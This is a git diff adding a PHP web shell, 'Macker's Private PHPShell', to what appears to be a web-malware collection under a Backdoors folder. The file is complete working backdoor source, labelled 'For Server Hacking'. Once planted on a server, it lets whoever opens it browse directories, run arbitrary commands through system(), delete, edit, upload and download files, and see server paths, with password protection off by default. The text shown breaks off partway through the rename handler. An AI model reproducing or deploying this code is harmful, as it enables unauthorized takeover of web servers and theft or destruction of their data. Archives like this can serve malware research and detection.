a/web-malware-collection-master/Backdoors/PHP/Macker's Private PHPShell.php b/web-malware-collection-master/Backdoors/PHP/Macker's Private PHPShell.php new file mode 100755 index 0000000..9979c1e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Macker's Private PHPShell.php @@ -0,0 +1,2026 @@ +<?php + + + +/* + +***************************************************************************************** + +* PHPSHELL.PHP * + +***************************************************************************************** + +* * + +* Welcome to Macker's Private PHPShell script... * + +* This script will allow you to browse webservers etc... * + +* Just copy the file to your directory and open it in your Internet Browser. * + +* * + +* The webserver should support PHP... * + +* * + +* You can modify the script if you want, but please send me a copy to: * + +* MAX666@iranstars.com * + +***************************************************************************************** + + + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +!! PLEASE NOTE: You should use this script at own risk, it should do damage to the !! + +!! Sites or even the server... You are responsible for your own deeds. !! + +!! The admin of your webserver should always know you are using this !! + +!! script. !! + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +*/ + + + + + +/*Setting some envirionment variables...*/ + + + +/* I added this to ensure the script will run correctly... + + Please enter the Script's filename in this variable. */ + +$SFileName=$PHP_SELF; + + + +/* uncomment the two following variables if you want to use http + + authentication. This will password protect your PHPShell */ + +//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */ + +//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */ + + + +error_reporting(0); + +$PHPVer=phpversion(); + +$isGoodver=(intval($PHPVer[0])>=4); + +$scriptTitle = "PHPShell"; + +$scriptident = "$scriptTitle by MAX666"; + + + +$urlAdd = ""; + +$formAdd = ""; + + + +function walkArray($array){ + + while (list($key, $data) = each($array)) + + if (is_array($data)) { walkArray($data); } + + else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} + +} + + + +if (isset($_PUT)) walkArray($_PUT); + +if (isset($_GET)) walkArray($_GET); + +if (isset($_POST)) walkArray($_POST); + + + + + +$pos = strpos($urlAdd, "s=r"); + +if (strval($pos) != "") { + +$urlAdd= substr($urlAdd, 0, $pos); + +} + + + +$urlAdd .= "&s=r&"; + + + +if (empty($Pmax)) + + $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ + +if (empty($Pidx)) + + $Pidx = 0; + + + +$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + +$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + + + +$scriptdate = "For Server Hacking"; + +$scriptver = "Private Exploit"; + +$LOCAL_IMAGE_DIR = "img"; + +$REMOTE_IMAGE_URL = "img"; + +$img = array( + + "Edit" => "edit.gif", + + "Download" => "download.gif", + + "Upload" => "upload.gif", + + "Delete" => "delete.gif", + + "View" => "view.gif", + + "Rename" => "rename.gif", + + "Move" => "move.gif", + + "Copy" => "copy.gif", + + "Execute" => "exec.gif" + + ); + + + +while (list($id, $im)=each($img)) + + if (file_exists("$LOCAL_IMAGE_DIR/$im")) + + $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">"; + + else + + $img[$id] = "[$id]"; + + + + + + + + + +/* HTTP AUTHENTICATION */ + + + + if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) { + + setcookie("noauth",""); + + Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\""); + + Header( "HTTP/1.0 401 Unauthorized"); + + echo "Your username or password is incorrect"; + + exit ; + + + + } + + + +function buildUrl($display, $url) { + + global $urlAdd; + + $url = $SFileName . "?$urlAdd$url"; + + return "<a href=\"$url\">$display</a>"; + +} + + + +function sp($mp) { + + for ( $i = 0; $i < $mp; $i++ ) + + $ret .= "&nbsp;"; + + return $ret; + +} + + + +function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); } + + + +function Mydeldir($Fdir) { + + if (is_dir($Fdir)) { + + $Fh=@opendir($Fdir); + + while ($Fbuf = readdir($Fh)) + + if (($Fbuf != ".") && ($Fbuf != "..")) + + Mydeldir("$Fdir/$Fbuf"); + + @closedir($Fh); + + return rmdir($Fdir); + + } else { + + return unlink($Fdir); + + } + +} + + + + + +function arrval ($array) { + +list($key, $data) = $array; + +return $data; + +} + + + +function formatsize($insize) { + + $size = $insize; + + $add = "B"; + + if ($size > 1024) { + + $size = intval(intval($size) / 1.024)/1000; + + $add = "KB"; + + } + + if ($size > 1024) { + + $size = intval(intval($size) / 1.024)/1000; + + $add = "MB"; + + } + + if ($size > 1024) { + + $size = intval(intval($size) / 1.024)/1000; + + $add = "GB"; + + } + + if ($size > 1024) { + + $size = intval(intval($size) / 1.024)/1000; + + $add = "TB"; + + } + + return "$size $add"; + +} + + + +if ($cmd != "downl") { + + ?> + + + +<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> --> + +<HTML> + + <HEAD> + + <STYLE> + + <!-- + + A{ text-decoration:none; color:navy; font-size: 12px } + + body { font-size: 12px; + + font-family: arial, helvetica; + + scrollbar-width: 5; + + scrollbar-height: 5; + + scrollbar-face-color: white; + + scrollbar-shadow-color: silver; + + scrollbar-highlight-color: white; + + scrollbar-3dlight-color:silver; + + scrollbar-darkshadow-color: silver; + + scrollbar-track-color: white; + + scrollbar-arrow-color: black; + + } + + Table { font-size: 12px; } + + TR{ font-size: 12px; } + + TD{ font-size: 12px; + + font-family: arial, helvetical; + + BORDER-LEFT: black 0px solid; + + BORDER-RIGHT: black 0px solid; + + BORDER-TOP: black 0px solid; + + BORDER-BOTTOM: black 0px solid; + + COLOR: black; + + } + + .border{ BORDER-LEFT: black 1px solid; + + BORDER-RIGHT: black 1px solid; + + BORDER-TOP: black 1px solid; + + BORDER-BOTTOM: black 1px solid; + + } + + .none { BORDER-LEFT: black 0px solid; + + BORDER-RIGHT: black 0px solid; + + BORDER-TOP: black 0px solid; + + BORDER-BOTTOM: black 0px solid; + + } + + .inputtext { + + background-color: #EFEFEF; + + font-family: arial, helvetica; + + border: 1px solid #000000; + + height: 20; + + } + + .lighttd { background: #F8F8F8; + + } + + .darktd { background: #E8E8E8; + + } + + input { font-family: arial, helvetica; + + } + + .inputbutton { + + background-color: silver; + + border: 1px solid #000000; + + border-width: 1px; + + height: 20; + + } + + .inputtextarea { + + background-color: #EFEFEF; + + border: 1px solid #000000; + + scrollbar-width: 5; + + scrollbar-height: 5; + + scrollbar-face-color: #EFEFEF; + + scrollbar-shadow-color: silver; + + scrollbar-highlight-color: #EFEFEF; + + scrollbar-3dlight-color:silver; + + scrollbar-darkshadow-color: silver; + + scrollbar-track-color: #EFEFEF; + + scrollbar-arrow-color: black; + + } + + .top { BORDER-TOP: black 1px solid; } + + .textin { BORDER-LEFT: silver 1px solid; + + BORDER-RIGHT: silver 1px solid; + + BORDER-TOP: silver 1px solid; + + BORDER-BOTTOM: silver 1px solid; + + width: 99%; font-size: 12px; font-weight: bold; color: navy; + + } + + .notop { BORDER-TOP: black 0px solid; } + + .bottom { BORDER-BOTTOM: black 1px solid; } + + .nobottom { BORDER-BOTTOM: black 0px solid; } + + .left { BORDER-LEFT: black 1px solid; } + + .noleft { BORDER-LEFT: black 0px solid; } + + .right { BORDER-RIGHT: black 1px solid; } + + .noright { BORDER-RIGHT: black 0px solid; } + + .silver{ BACKGROUND: silver; } + + --> + + </STYLE> + + <TITLE><?php echo $SFileName ?></TITLE> + + </HEAD> + + <body topmargin="0" leftmargin="0"> + + <div style="position: absolute; background: white; z-order:10000; top:0; left:0; width: 100%; height: 100%;"> + + <table width=100% height="100%" NOWRAP border="0"> + + <tr NOWRAP> + + <td width="100%" NOWRAP> + + <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0"> + + <tr> + + <td width="100%" class="silver border"> + + <center> + + <strong> + + <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> + + </strong> + + </center> + + </td> + + </tr> + + </table><br> + + + + <?php + +} + + + +if ( $cmd=="dir" ) { + + $h=@opendir($dir); + + if ($h == false) { + + echo "<br><font color=\"red\">".sp(3)."\n\n\n\n + + COULD NOT OPEN THIS DIRECTORY!!!<br>".sp(3)."\n + + THE SCRIPT WILL RESULT IN AN ERROR!!! + + <br><br>".sp(3)."\n + + PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR... + + <br><br></font>\n\n\n\n"; + + } + + if (function_exists('realpath')) { + + $partdir = realpath($dir); + + } + + else { + + $partdir = $dir; + + } + + if (strlen($partdir) >= 100) { + + $partdir = substr($partdir, -100); + + $pos = strpos($partdir, "/"); + + if (strval($pos) != "") { + + $partdir = "<-- ...".substr($partdir, $pos); + + } + + $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir ))); + + $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + + $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + + } + + ?> + + <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir"> + + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0"> + + <tr> + + <td width="100%" class="silver border"> + + <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center> + + </td> + + </tr> + + </table> + + <br> + + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + + <tr> + + <td class="border nobottom noright"> + + &nbsp;Browsing:&nbsp; + + </td> + + <td width="100%" class="border nobottom noleft"> + + <table width="100%" border="0" cellpadding="1" cellspacing="0"> + + <tr> + + <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td> + + <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td> + + </tr> + + </table> + + + + </td> + + </tr> + + </table> + + <!-- </form> --> + + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" > + + <tr> + + <td width="100%" NOWRAP class="silver border"> + + &nbsp;Filename&nbsp; + + </td> + + <td NOWRAP class="silver border noleft"> + + &nbsp;Actions&nbsp;(Attempt to perform)&nbsp; + + </td> + + <td NOWRAP class="silver border noleft"> + + &nbsp;Size&nbsp; + + </td> + + <td width=1 NOWRAP class="silver border noleft"> + + &nbsp;Attributes&nbsp; + + </td> + + <td NOWRAP class="silver border noleft"> + + &nbsp;Modification Date&nbsp; + + </td> + + <tr> + + <?php + + + + + + /* <!-- This whole heap of junk is the sorting section... */ + + + + $dirn = array(); + + $filen = array(); + + $filesizes = 0; + + while ($buf = readdir($h)) { + + if (is_dir("$dir/$buf")) + + $dirn[] = $buf; + + else + + $filen[] = $buf; + + } + + $dirno = count($dirn) + 1; + + $fileno = count($filen) + 1; + + + + function mycmp($a, $b){ + + if ($a == $b) return 0; + + return (strtolower($a) < strtolower($b)) ? -1 : 1; + + } + + + + if (function_exists("usort")) { + + usort($dirn, "mycmp"); + + usort($filen, "mycmp"); + + } + + else { + + sort ($dirn); + + sort ($filen); + + } + + reset ($dirn); + + reset ($filen); + + if (function_exists('array_merge')) { + + $filelist = array_merge ($dirn, $filen); + + } + + else { + + $filelist = $dirn + $filen; + + } + + + + + + if ( count($filelist)-1 > $Pmax ) { + + $from = $Pidx * $Pmax; + + $to = ($Pidx + 1) * $Pmax-1; + + if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 ) + + $to = count($filelist) - 1; + + if ($to > count($filelist)-1) + + $to = count($filelist)-1; + + $Dcontents = array(); + + For ($Fi = $from; $Fi <= $to; $Fi++) { + + $Dcontents[] = $filelist[$Fi]; + + } + + + + } + + else { + + $Dcontents = $filelist; + + } + + + + $tdcolors = array("lighttd", "darktd"); + + + + while (list ($key, $file) = each ($Dcontents)) { + + if (!$tdcolor=arrval(each($tdcolors))) { + + reset($tdcolors); + + $tdcolor = arrval(each($tdcolors)); } + + + + if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */ + + /* <!-- Dirname --> */ + + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n"; + + /* <!-- Actions --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n"; + + /* <!-- Rename --> */ + + if ( ($file != ".") && ($file != "..") ) + + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + + /* <!-- Delete --> */ + + if ( ($file != ".") && ($file != "..") ) + + echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + + /* <!-- End of Actions --> */ + + echo "&nbsp;&nbsp;</center></td>\n"; + + /* <!-- Size --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n"; + + /* <!-- Attributes --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + + echo "<strong>D</strong>"; + + if ( @is_readable("$dir/$file") ) { + + echo "<strong>R</strong>"; + + } + + if (function_exists('is_writeable')) { + + if ( @is_writeable("$dir/$file") ) { + + echo "<strong>W</stong>"; + + } + + } + + else { + + echo "<strong>(W)</stong>"; + + } + + if ( @is_executable("$dir/$file") ) { + + echo "<Strong>X<strong>"; + + } + + echo "&nbsp;&nbsp;</td>\n"; + + /* <!-- Date --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + + echo "</td>"; + + echo "</tr>\n"; + + + + } + + else { /* <!-- Then it must be a File... --> */ + + /* <!-- Filename --> */ + + if ( @is_readable("$dir/$file") ) + + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; + + else + + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; + + /* <!-- Actions --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; + + /* <!-- Rename --> */ + + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + + /* <!-- Edit --> */ + + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + + echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; + + /* <!-- Copy --> */ + + echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; + + /* <!-- Move --> */ + + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + + echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; + + /* <!-- Delete --> */ + + echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + + /* <!-- Download --> */ + + echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; + + /* <!-- Execute --> */ + + if ( @is_executable("$dir/$file") ) + + echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; + + /* <!-- End of Actions --> */ + + echo sp(2)."</center></td>\n"; + + /* <!-- Size --> */ + + echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n"; + + $size = @filesize("$dir/$file"); + + If ($size != false) { + + $filesizes += $size; + + echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>"; + + } + + else + + echo "&nbsp;&nbsp;<strong>0 B<strong>"; + + echo "&nbsp;&nbsp;</td>\n"; + + + + /* <!-- Attributes --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + + + + if ( @is_readable("$dir/$file") ) + + echo "<strong>R</strong>"; + + if ( @is_writeable("$dir/$file") ) + + echo "<strong>W</stong>"; + + if ( @is_executable("$dir/$file") ) + + echo "<Strong>X<strong>"; + + if (function_exists('is_uploaded_file')){ + + if ( @is_uploaded_file("$dir/$file") ) + + echo "<Strong>U<strong>"; + + } + + else { + + echo "<Strong>(U)<strong>"; + + } + + echo "&nbsp;&nbsp;</td>\n"; + + /* <!-- Date --> */ + + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + + echo "</td>"; + + echo "</tr>\n"; + + } + + } + + + + echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n"; + + echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n"; + + echo "</td><td NOWRAP class=\"silver border noleft\">\n"; + + echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n"; + + + + function printpagelink($a, $b, $link = ""){ + + if ($link != "") + + echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>"; + + else + + echo "<b>| $a - $b |</b>"; + + } + + + + if ( count($filelist)-1 > $Pmax ) { + + echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>"; + + $Fi = 0; + + while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) { + + $from = $Fi*$Pmax; + + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + + $to = ($Fi + 1) * $Pmax - 1; + + if ($Fi == $Pidx) + + $link=""; + + else + + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + + echo "&nbsp;&nbsp;&nbsp;"; + + $Fi++; + + } + + $from = $Fi*$Pmax; + + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + + $to = count($filelist)-1; + + if ($Fi == $Pidx) + + $link=""; + + else + + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + + + + + + echo "</center></td></tr></table></td></tr>"; + + } + + + + + + echo "</table>\n<br><table NOWRAP>"; + + + + if ($isGoodver) { + + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n"; + + } + + else { + + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n"; + + } + + /* <!-- Other Actions --> */ + + echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n"; + + echo "<td>&nbsp;<b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + + buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + + buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n"; + + echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n"; + + echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n"; + + echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n"; + + echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n"; + + echo "<table NOWRAP>"; + + echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n"; + + echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n"; + + echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n"; + + echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n"; + + echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n"; + + echo "</table></td>"; + + echo "</table>"; + + echo "<br>"; + + @closedir($h); + + } + + elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/ + + echo system("$file"); + + } + +elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */ + + echo "<center><table><tr><td NOWRAP>" ; + + if ($auth == "yes") { + + if (Mydeldir($file)==false) { + + echo "Could not remove \"$file\"<br>Permission denied, or directory not empty..."; + + } + + else { + + echo "Successfully removed \"$file\"<br>"; + + } + + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>"; + + } + + else { + + echo "Are you sure you want to delete \"$file\" and all it's subdirectories ? + + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + + <input type=\"hidden\" name=\"cmd\" value=\"deldir\"> + + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + + <input type=\"hidden\" name=\"file\" value=\"$file\"> + + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + + <input type=\"submit\" value=\"Yes\"></form> + + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + + } + + echo "</td></tr></center>"; + +} + + elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ; + + if ($auth == "yes") { + + if (@unlink($file)==false) { + + echo "Could not remove \"$file\"<br>"; + + } + + else { + + echo "Successfully removed \"$file\"<br>"; + + } + + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>"; + + } + + else { + + echo "Are you sure you want to delete \"$file\" ? + + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + + <input type=\"hidden\" name=\"cmd\" value=\"delfile\"> + + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + + <input type=\"hidden\" name=\"file\" value=\"$file\"> + + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + + + + <input type=\"submit\" value=\"Yes\"></form> + + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + + } + + echo "</td></tr></center>"; + +} + +elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */ + + echo "<center><table><tr><td NOWRAP>"; + + $i = 1; + + while (file_exists("$lastdir/newfile$i.txt")) + + $i++; + + $file = fopen("$lastdir/newfile$i.txt", "w+"); + + if ($file == false) + + echo "Could not create the new file...<br>"; + + else + + echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>"; + + echo " + + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + + <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"> + + </form></center> + + </td></tr></table></center> "; + + } + +elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */ + + echo "<center><table><tr><td NOWRAP>" ; + + $i = 1; + + while (is_dir("$lastdir/newdir$i")) + + $i++; + + $file = mkdir("$lastdir/newdir$i", 0777); + + if ($file == false) + + echo "Could not create the new directory...<br>"; + + else + + echo "Successfully created: \"$lastdir/newdir$i\"<br>"; + + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"> + + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + + <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"> + + </form></center></td></tr></table></center>"; + +} + +elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */ + + $contents = ""; + + $fc = @file( $file ); + + while ( @list( $ln, $line ) = each( $fc ) ) { + + $contents .= htmlentities( $line ) ; + + } + + echo "<br><center><table><tr><td NOWRAP>"; + + echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + + echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n"; + + echo "<strong>EDIT FILE: </strong>$file<br>\n"; + + echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n"; + + echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n"; + + echo "<input type=\"submit\" value=\"Save\">"; + + echo "</form>"; + + echo "</td></tr></table></center>"; + +} + +elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */ + + $fo = fopen($file, "w"); + + $wrret = fwrite($fo, stripslashes($contents)); + + $clret = fclose($fo); + +} + +elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */ + + $downloadfile = urldecode($file); + + if (function_exists("basename")) + + $downloadto = basename ($downloadfile); + + else + + $downloadto = "download.ext"; + + if (!file_exists("$downloadfile")) + + echo "The file does not exist"; + + else { + + $size = @filesize("$downloadfile"); + + if ($size != false) { + + $add="; size=$size"; + + } + + else { + + $add=""; + + } + + header("Content-Type: application/download"); + + header("Content-Disposition: attachment; filename=$downloadto$add"); + + $fp=fopen("$downloadfile" ,"rb"); + + fpassthru($fp); + + flush(); + + } + +} + +elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */ + + ?> + + <center> + + <table> + + <tr> + + <td NOWRAP> + + Welcome to the upload section... + + Please note that the destination file will be + + <br> overwritten if it already exists!!!<br><br> + + <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post"> + + <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776"> + + <input type="hidden" name="cmd" value="uploadproc"> + + <input type="hidden" name="dir" value="<?php echo $dir ?>"> + + <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>"> + + <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>"> + + Select local file:<br> + + <input size="75" name="userfile" type="file"><br> + + <input type="submit" value="Send File"> + + </form> + + <br> + + <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST"> + + <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>"> + + <input type="hidden" name="dir" value="<?php echo $lastdir ?>"> + + <input tabindex="0" type="submit" value="Cancel"> + + </form> + + </td> + + </tr> + + </table> + + </center> + + + + <?php + +} + +elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */ + + echo "<center><table><tr><td NOWRAP>"; + + if (file_exists($userfile)) + + $res = copy($userfile, "$dir/$userfile_name"); + + echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n"; + + if ($res) { + + echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>"; + + echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>"; + + echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>"; + + } + + else { + + echo "Could not move uploaded file; Action aborted..."; + + } + + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; + + echo "<br><br></td></tr></table></center>"; + +} + +elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ + + echo "<hr>"; + + $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { + + echo spacetonbsp(@htmlentities($line))."<br>\n"; + + } + + echo "<hr>"; + +} + +elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */ + + if (function_exists('is_dir')) { + + if (is_dir("$oldfile")) { + + $objname = "Directory"; + + $objident = "Directory"; + + } + + else { + + $objname = "Filename"; + + $objident = "file"; + + } + + } + + echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a 